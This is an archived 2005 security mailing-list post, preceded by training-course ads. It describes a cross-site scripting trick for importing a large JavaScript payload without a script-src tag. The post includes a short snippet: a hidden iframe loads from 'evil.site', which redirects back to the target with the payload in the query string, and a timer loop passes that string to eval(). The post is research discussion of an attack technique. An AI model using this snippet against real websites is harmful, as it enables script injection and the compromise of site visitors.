Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Web-App-Sec
[Top] [All Lists]

Importing large code piece into Javascript context without SCRIPT SRC=..

Subject: Importing large code piece into Javascript context without SCRIPT SRC=...
Date: Fri, 14 Oct 2005 20:10:41 +0200
Hi

Recently, I've been toying with the somewhat academic question of whether it is 
possible to 
"import" a large piece of JS code (to be used as XSS payload), given that a 
script context 
is already available, BUT without using SCRIPT SRC=...
This question is triggered by the "script" keyword of Gervase Markham's 
Content- 
Restrictions suggestion (http://www.gerv.net/security/content-restrictions/).

I came up with a nice idea, which is abusing any manner of loading HTML content 
(such as 
IFRAME, new windows, etc.) as following:
The attacker forces a load from its own website (evil.site), which redirects 
the browser 
back to the original website (say target.site). It needs to do so with a query 
(e.g. 
"?data=..."). This query is the channel through which the JS payload is 
transmitted to the 
malicious bridge-head. In the below example, assume that evil.site/redir.cgi 
simply 
redirects to target.site/index.html?data=...
Note that it may take few seconds for the target.site page to load, and 
meanwhile, the 
script (which runs in the target.site domain) cannot access the IFRAME (which 
initially is 
in evil.site domain). Hence the need for the loop.

<iframe src="http://evil.site/redir.cgi"; width=1 height=1></iframe>
<script>
var tid;
function fetch() 
{
      try
      {
            var data=document.frames[0].location.search.substr(6);
            clearInterval(tid);
            eval(data);
      }
      catch(ex)
      {
      }
}
tid = setInterval('fetch()', 100);
</script>

As you can see, with about 240 bytes, I can force a load of any script code 
through the 
query part, which can host 4KB. And it's easy to do this multiple times.

-Amit

<Prev in Thread] Current Thread [Next in Thread>